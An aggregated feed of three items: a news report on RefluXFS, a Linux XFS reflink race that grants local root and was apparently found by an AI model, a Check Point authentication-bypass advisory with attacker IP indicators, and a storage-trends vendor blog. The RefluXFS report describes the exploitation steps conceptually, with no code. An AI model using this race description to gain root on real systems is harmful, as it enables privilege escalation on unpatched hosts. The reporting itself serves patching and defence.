The fix was merged on July 16, and Linux vendors have begun shipping backported kernels. The patch traces the bug to Linux 4.11 in 2017: a Fixes: tag naming commit 3c68d44a2b49 and a stable backport request marked # v4.11.

Who is exposed

Exploitation requires three conditions:

• The system runs Linux 4.11 or later without the RefluXFS fix.
• The XFS filesystem was created with reflink=1.
• The readable target and an attacker-writable directory are on the same XFS filesystem.

Qualys said to patch exposed and multi-tenant systems first, which means any reflink-enabled XFS host where untrusted code can run locally, whether through a shell, a CI job, or a compromised service.

The advisory lists the default installations that can meet those conditions: Red Hat Enterprise Linux, CentOS Stream, Oracle Linux, Rocky Linux, AlmaLinux and CloudLinux 8, 9 and 10, Fedora Server 31 and later, Amazon Linux 2023, and Amazon Linux 2 images from December 2022 onward. RHEL 7 filesystems are not affected because they predate XFS reflink support.

Debian, Ubuntu, SLES, and openSUSE do not generally use XFS for the root filesystem by default. They are exposed only if an administrator chose XFS with reflink enabled at install time.

Check the root filesystem:

xfs_info / | grep reflink=

reflink=1 means condition two is met. Run the same check on any other mounted XFS volume where a protected file and an attacker-writable directory share the filesystem.

The Stale Mapping

An attacker clones a root-owned file into a scratch file with FICLONE, which needs only read access on the source, then races concurrent O_DIRECT writes against the clone. XFS reflinks use copy-on-write, so both files initially reference the same physical disk blocks.

The kernel reads the data-fork mapping under the inode lock and hands it to xfs_reflink_fill_cow_hole(), which cycles that lock to reserve transaction space.

A second writer can complete the copy-on-write operation during that gap and remap the cloned file to a new block. When the first writer reacquires the lock, it refreshes the copy-on-write fork but continues using the old data-fork mapping.

The upstream patch describes the failure plainly: "the mappings are stale as soon as we reacquire the ILOCK."

That stale address now points to a block owned only by the original protected file. XFS sees the block as unshared and permits the direct write, so data intended for the attacker's clone lands in the target instead.

It is a check-then-use error across a lock cycle. The shared-status query itself is correct; what it queries is a block address captured before the lock was released.

The Hacker News found the patch touches two helpers, xfs_reflink_fill_cow_hole() and xfs_reflink_fill_delalloc(). The second carries the same lock-cycle pattern and does not appear in the Qualys advisory. In both, the fix snapshots ip->i_df.if_seq before the lock is dropped and re-reads the data fork with xfs_bmapi_read() if the counter moved.

Direct I/O skips the page cache and has no revalidation hook, so the write lands on disk. Because it bypasses the target inode entirely, the metadata never changes, and the researchers said their tests produced no kernel warning or log entry.

On the test machine, the race usually won in under ten seconds. The published demo strips the root password on a default RHEL 10.2 box.

Qualys said an AI model found the flaw. The company pointed Claude Mythos Preview, Anthropic's restricted-access frontier model, at the kernel and, per its technical advisory, "asked it to find a vulnerability similar to Dirty COW."

The model located the race, wrote a working root exploit, and drafted the advisory. Researchers then reproduced it on a stock Fedora Server 44 install, checked the model's reasoning, and coordinated disclosure upstream.

It is not the team's first aged kernel bug this year. Qualys has been finding a lot of these. A day earlier, it disclosed a snap-confine flaw in Ubuntu Desktop, CVE-2026-8933, where two races let a local user get root on default installs. In May it found a nine-year-old bug in the kernel's ptrace checks.

Patch, Then Reboot

Red Hat has issued Important-rated kernel advisories across affected RHEL 8, 9, and 10 streams. The errata began landing on July 14, eight days before the coordinated disclosure: RHSA-2026:39179 and RHSA-2026:39180 for RHEL 8 and RHSA-2026:39494 for RHEL 10, with extended-support and SAP streams following through July 17.

Coverage is stream-specific, so confirm an advisory exists for your exact release. Anyone who applied those errata on schedule was covered before RefluXFS had a name. Check your patch dates before assuming exposure.

The vendor's bug tracker files the flaw under the title "kernel: XFS data corruption using reflink." The entry was auto-imported on July 10 and initially described the issue as possible data corruption from reflinking a file.

As of July 23, Debian's tracker listed the fix in trixie-security as kernel 6.12.96-1 and in unstable as 7.1.4-1. Trixie's base kernel 6.12.94-1 and forky's 7.1.3-1 were still marked vulnerable, as were bookworm and bullseye, including their security branches.

There is no mount option or sysctl that disables XFS reflinks after a filesystem has been created, and Qualys said no practical mitigation or temporary configuration change is available. SELinux in Enforcing mode, seccomp, kernel lockdown, and container boundaries all failed to stop it in the company's testing. Memory protections like KASLR and SMEP never applied: this is a block-layer write, not memory corruption.

One apparent limit is not one. The race only fires if the target's block starts unshared, so a file an administrator already reflink-copied cannot be hit. The advisory says an unprivileged user can reset that condition by running chsh, and that setuid-root binaries are unlikely to have been reflinked in the first place.

Qualys published no standalone exploit code. Red Hat's tracker logged a public proof-of-concept on July 22, pointing at the advisory posted to the oss-security list, which sets out the race and the exploitation steps in full. None of the vendors tracking the flaw had reported exploitation in the wild at the time of writing.

The Hacker News has reached out to Red Hat for comment on its assessment of the flaw's impact and to Qualys for further detail on the finding, and will update this story with any response.

Installing the package does not replace the kernel already running in memory. Apply the vendor update, reboot the system, and verify that it is running the fixed kernel.

from The Hacker News https://ift.tt/zlyh1Y3
via IFTTT

Check Point Patches Exploited SmartConsole Flaw Allowing Full Admin Access

Check Point has released security updates to address multiple vulnerabilities impacting Security Management and Multi-Domain Management (MDSM) products, including a critical flaw that has come under active exploitation in the wild.

The security flaw, tracked as CVE-2026-16232 (CVSS score: 9.3), is an authentication bypass affecting the Check Point SmartConsole login process that allows an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges.

"Successful exploitation allows the attacker to modify security policies and security configurations," according to a description of the flaw in CVE.org. "Remote exploitation requires internet access to the Management Server IP address and a configuration that does not restrict Trusted Clients."

Lotem Finkelstein, vice president of research at Check Point, said the company is aware of a small number of customers being targeted by this flaw, and that it has already notified them. It did not disclose the nature of the attacks or when they were discovered.

"This only affects a very specific configuration - when Management is exposed directly to the internet without IP restrictions," Finkelstein added.

The cybersecurity vendor has shared the below indicators of compromise (IoCs) associated with the activity -

• 151.241.99[.]207
• 151.241.99[.]233
• 158.62.198[.]182
• 192.142.10[.]99
• 139.28.37[.]250
• 194.213.18[.]137

Patches have also been released for two other flaws -

• CVE-2026-62144 (CVSS score: 9.3) - An authentication bypass vulnerability in Check Point Security Management and Multi-Domain Security Management that allows an unauthenticated remote attacker to execute administrative commands on the Management Server, including run-script and exec-command on Security Gateway.
• CVE-2026-62145 (CVSS score: 7.5) - An improper privilege management vulnerability in Check Point Gaia Portal that allows an authenticated attacker with read-only Gaia Portal privileges to execute commands with root privileges.

Like in the case of CVE-2026-16232, successful exploitation of CVE-2026-62144 requires management access without Firewall protection or no restrictions on Trusted Clients (GUI clients). All three issues impact the following versions -

• R77.30
• R80
• R80.10
• R80.20
• R80.30
• R81
• R81.10
• R81.20
• R82
• R82.10

Customers are recommended to apply the July 22 Jumbo hotfix, limit Trusted Clients (GUI clients) to trusted IP addresses/subnets, secure Management access with Firewall, and restrict access to trusted IP addresses.

The development has prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add the flaw to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the necessary fixes by July 25, 2026.

Found this article interesting? Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.

from The Hacker News https://ift.tt/DmlXJkq
via IFTTT

Infrastructure and storage modernization trends 2026

AI may be driving infrastructure investment, but storage architecture increasingly determines application performance. Our new article examines six infrastructure and storage trends shaping enterprise IT in 2026.

Enterprise storage demand keeps climbing. Infrastructure budgets aren’t. That tension defines 2026. IDC expects AI infrastructure spending to hit  $487 billion, while Flexera reports organizations estimate 29% of their cloud spend is wasted. Record investment on one side, waste on the other. Instead of replacing entire environments wholesale, IT teams now evaluate every workload on its own merits.

 

 

Figure 1. Key infrastructure and storage modernization trends shaping enterprise IT in 2026.

 

AI demand is reshaping storage and memory economics

Most AI discussions fixate on GPUs, but storage is usually the actual bottleneck. A training cluster connected to an aging NAS won’t keep expensive accelerators busy – throughput and metadata operations can’t feed them fast enough. GPU utilization drops. Doesn’t matter how powerful the compute hardware is if the storage layer can’t keep pace.

AI demand is reshaping the memory market too. IDC projects the semiconductor market to exceed $1.29 trillion in 2026, with DRAM revenue approaching $418.6 billion as hyperscalers keep investing in high-bandwidth memory (HBM). That’s expected to tighten parts of the memory supply chain and push up the cost of some server configurations, which makes extending the life of existing hardware more attractive than a traditional refresh cycle. But not every AI workload needs the same storage architecture.

Large training clusters and high-throughput inference pipelines benefit from a parallel file system like DataCore Nexus, which provides parallel access to AI and HPC datasets – but smaller deployments and inference-only environments usually don’t need that level of complexity. A well-configured NVMe array or standard NAS often delivers everything they require. Match the storage to the workload’s actual I/O pattern. Don’t over-engineer it.

Modernization is becoming selective

Organizations are getting pickier about hardware refreshes. Better server longevity and firmer component pricing mean many existing systems still deliver acceptable performance. Instead of rip-and-replace, IT teams retire what’s become expensive to operate, keep what still provides value, and pool storage resources so applications aren’t tied to individual servers.

The math only works while the platform stays supported, secure, and cheaper to run than replacing it. Premium maintenance contracts, rising operational costs, depreciation schedules, and limited staff all factor into when that calculation flips. There’s no universal answer – it depends on the specific environment.

Software-defined storage makes these decisions easier because storage services become independent of the underlying hardware. You don’t have to replace storage every time servers reach end of life. Organizations pool capacity across SAN, DAS, HCI, and JBOD environments and migrate workloads with minimal disruption. That flexibility means you can refresh compute and storage on completely different timelines.

Virtualization is going multi-vendor after the VMware changes

The VMware licensing changes introduced in 2024 and 2025 pushed many organizations to evaluate alternatives. Two years later, most enterprises are running mixed environments – VMware alongside Proxmox VE, Microsoft Hyper-V, Nutanix AHV, XCP-ng, HPE VM Essentials, and other KVM-based solutions. StarWind’s write-up on the licensing changes covers the details behind that shift.

A common mistake: treating this as nothing more than a hypervisor migration. Teams move workloads from VMware to Proxmox over a weekend, then discover the real dependency was the shared storage underneath. Different virtualization platforms rely on different virtual disk formats, filesystems, and clustering technologies. (This is also where people get burned on weekends – the storage migration, not the hypervisor swap.) Storage migration is almost always the harder part.

If you’re planning a virtualization migration, treat storage as a separate workstream. That avoids replacing more infrastructure than necessary and cuts the risk of swapping one vendor lock-in for another.

Placement is replacing cloud-first, at the core and the edge

Cloud adoption keeps growing. “Cloud-first” isn’t the default strategy anymore, though. Placement decisions now depend on utilization, latency, data volume, compliance requirements, and the long-term cost of moving data. The Flexera numbers cited above show where waste is accumulating, while 58% of their respondents already consume generative AI as a cloud service. (The survey skews toward larger cloud users – treat those numbers as directional, not universal.)

The biggest challenge is data gravity. Moving applications between environments is usually straightforward. Moving hundreds of terabytes, or petabytes, isn’t. Egress charges, transfer times, and operational complexity compound the longer large datasets stay in the wrong place. Organizations keep stable, data-intensive workloads on-premises or in private cloud, place elastic workloads in public cloud, and run latency-sensitive applications at the edge. Our article on data gravity covers how this influences infrastructure design in more depth.

At the edge, the binding constraint is staffing. A retailer with hundreds of locations can’t assign a storage engineer to every branch office. Infrastructure has to stay available even when nobody’s on site to troubleshoot it. That’s why compact systems with centralized management and built-in high availability are the preferred architecture. The 2-node StarWind HCI Appliance is designed for exactly that scenario.

Not every remote site needs a two-node cluster, though. Smaller locations may be better served by a single-node deployment combined with centralized backup or application-level failover. A two-node cluster with an external witness works well where higher availability is required, but the witness improves quorum management – it doesn’t replace a second workload node.

Kubernetes is taking on more stateful workloads

Kubernetes keeps expanding past stateless microservices. The CNCF reports 82% of organizations using containers now run Kubernetes in production, up from 66% in 2023. Among organizations hosting generative AI models, 66% also use Kubernetes for at least part of their inference workloads. Databases, analytics platforms, message queues, and AI inference services are becoming standard Kubernetes workloads alongside traditional stateless applications.

Persistent data is where things get complicated. Stateful workloads expose limitations in storage classes, volume provisioning, replication, failover, and recovery. A pod can restart automatically after a failure, but if its persistent volume can’t be attached or recovered on another node, the application stays down. In many organizations, storage management still sits outside day-to-day Kubernetes operations – and that’s where most of the operational complexity hides.

If your applications genuinely live on Kubernetes, Kubernetes-native storage can simplify operations considerably. DataCore Puls8, built on OpenEBS, runs inside the cluster and manages replication, failover, and storage provisioning through Kubernetes itself instead of relying on external storage systems. Not every workload belongs on Kubernetes, though. Plenty of organizations run stable VM environments successfully, and adopting Kubernetes doesn’t mean containerizing every existing application.

Cyber recovery is becoming a storage requirement

Storage resilience isn’t measured only by hardware failures anymore. Organizations increasingly evaluate storage platforms based on how well they recover from ransomware and other cyberattacks. Immutable snapshots, object locking, versioning, isolated backup copies, and controlled recovery workflows have become standard evaluation criteria. Regulations like DORA and NIS2 have pushed recovery controls further, requiring documented procedures, backup governance, disaster recovery planning, and regular testing – though specific requirements depend on the organization and regulatory scope. (DORA applies to financial entities in the EU; NIS2 casts a wider net across essential and important sectors.)

Here’s the failure scenario that still catches people off guard. During a ransomware attack, production systems get encrypted, and scheduled replication faithfully copies that encrypted data to the secondary storage system. Conventional backups face the same risk if attackers delete them or if retention policies don’t preserve a clean recovery point long enough.

Cyber recovery goes beyond traditional backup. It combines protected backups with immutability, isolation, controlled administrative access, and regular recovery testing to ensure a known-good copy survives an attack and can actually be restored.

Object storage has become an important part of that strategy. Beyond backup repositories and AI datasets, object storage increasingly provides the immutable recovery copy organizations depend on after a cyber incident. Compact ransomware-protected platforms like DataCore Swarm Appliance extend those capabilities to remote offices and edge locations by supporting object locking where traditional enterprise storage may not be practical.

Immutability alone won’t save you. Test your restores. A recovery plan you’ve never validated is just a hypothesis.

Conclusion

These six trends point to one buying model: choose infrastructure by workload requirements, failure domains, operational capacity, and exit cost. Before committing to a new platform, decide which data has to move, what must stay available during the change, and how the environment gets recovered if the migration fails.

Answer those questions first and technology selection gets much simpler. Software-defined storage separates storage services from underlying hardware, letting you modernize compute, storage, and virtualization independently. That independence is what makes the rest of these decisions tractable.

FAQ

Is it still worth keeping older servers in 2026?

Often, yes – as long as they’re still supported and cheaper to run than a replacement. Firmer memory pricing has made new hardware more expensive, and that shifts the math toward selective reuse. Software-defined storage lets compute and storage refresh on separate schedules, which extends the useful life of hardware that’s still pulling its weight.

What should I migrate first when leaving VMware?

Plan the storage migration before committing to a hypervisor. The dependency that complicates weekend migrations is almost always the shared storage underneath, and because platforms use different disk formats and filesystems, some VM conversion is still likely. Keeping storage portable across VMware, Hyper-V, and KVM lets you stage the move over weeks instead of forcing it into a single maintenance window.

How is cyber recovery different from a backup?

Replication may copy encrypted or corrupted data to the secondary system. Conventional backups face the same risk if attackers delete them or if retention is too short. Cyber recovery adds isolation, immutability, controlled access, and tested restoration. DORA and NIS2 have been pushing organizations toward these controls, and the requirements will only get stricter.

Do I need parallel file storage for AI?

Only at the training and high-throughput end, where a parallel file layer provides fast access to large datasets. For inference-only or smaller workloads, a well-provisioned NVMe array or NAS is usually enough. Don’t over-engineer this – match the storage tier to the workload’s actual I/O pattern.

What makes edge infrastructure hard to modernize?

Staffing. Hundreds of sites without local specialists need compact, remotely managed systems that keep running when the central site is unreachable. That could be a two-node cluster, a single node with centralized backup, or a cloud-managed appliance. The right answer depends on what’s running at each location and how much downtime the business can tolerate.

from StarWind Blog https://ift.tt/ozwy9Pe
via IFTTT